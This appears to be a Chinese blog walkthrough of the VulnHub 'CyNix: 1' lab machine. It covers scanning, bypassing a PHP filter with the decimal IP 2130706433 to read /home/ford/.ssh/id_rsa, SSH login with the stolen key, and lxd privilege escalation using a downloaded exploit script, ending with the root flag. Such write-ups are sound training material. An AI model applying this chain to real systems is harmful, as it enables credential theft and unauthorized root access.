0x000 靶场描述
级别:中级
描述: 这是一台 Boot2Root 机器。该机器与VirtualBox兼容,DHCP 将自动分配一个 IP。您必须查找并读取两个flag(user和root),它们分别存在于user.txt和root.txt中。
0x001 靶场下载
https://www.vulnhub.com/entry/cynix-1,394/
0x002 信息收集
探测存活主机
netdiscover -r 192.168.1.0/24
端口扫描
nmap -sS -sV -A -p 1-65535 192.168.1.101
目录扫描
dirsearch -u http://192.168.1.101 --wordlists=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
0x003 漏洞利用
查找并分析漏洞
http://192.168.1.101/lavalamp/
使用burpsuite抓包,发现跳转到/lavalamp/canyoubypassme.php
页面,访问 http://192.168.1.101/lavalamp/canyoubypassme.php
查看源代码,发现这个页面会弹出来一个框。。。查找这个框在什么地方
经过在图片上一顿乱点之后,出现了如下界面。
如果找不到输入框把源码保存下来去掉图片修改提交 url 提交也可以。或者直接抓包和构造提交也行。
本地文件读取漏洞
https://rixx.de/blog/fun-legacy-ip-addresses/
2130706433 转换为ip:127.0.0.1
利用本地文件读取漏洞读取/home/ford/.ssh/id_rsa文件,从而ssh远程登陆。
ssh远程登陆
本地新建id_rsa文件,并将读取到的内容复制到文件里面,然后设置权限
chmod 600 id_rsa
ssh -i id_rsa ford@192.168.1.101 -p 6688
分析canyoubypassme.php源代码
首先会strstr(strtolower($file), 'localhost') == true || strstr($file, '127.0.0.1') == true || strstr($file, '2130706433') == true || strstr($file, '[::]:80') == true) && preg_match('/(^https*:\/\/[^:\/]+)/', $file)==true)
通过这里判断传入的参数,结果为false时会来到这里
strstr($file, 'localhost') == false && preg_match('/(^https*:\/\/[^:\/]+)/', $file)==true)
进行第二次判断
当第二次判断的结果为false时,会来到这里进行最后一次判断(substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//")
当上面三次判断通过后,来来到这里file_get_contents("/tmp/".$file)
执行,并将执行的结果显示到页面。
0x004 提权
lxd提权
使用命令id查看当前用户权限。发现隶属于lxd组,因此可以使用lxd提权。
LXC全名Linux Container,就是一种虚拟化的容器技术,可以创建和操作系统接近的环境,但又不需要单独用到内核资源。
LXD全称Linux Daemon,容器管理程序,基于LXC容器技术实现,简单来说就是完成容器管理工作。
将提权用的工具通过wget命令下载到目标机
./46978.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
执行命令成功获取到root权限
0x005 查找flag
cat /mnt/root/home/ford/user.txt
cat /mnt/root/root/root.txt
标签:CyNix,true,192.168,1.101,vulnhub,file,strstr,靶场,root
From: https://www.cnblogs.com/Cx330Lm/p/16901122.html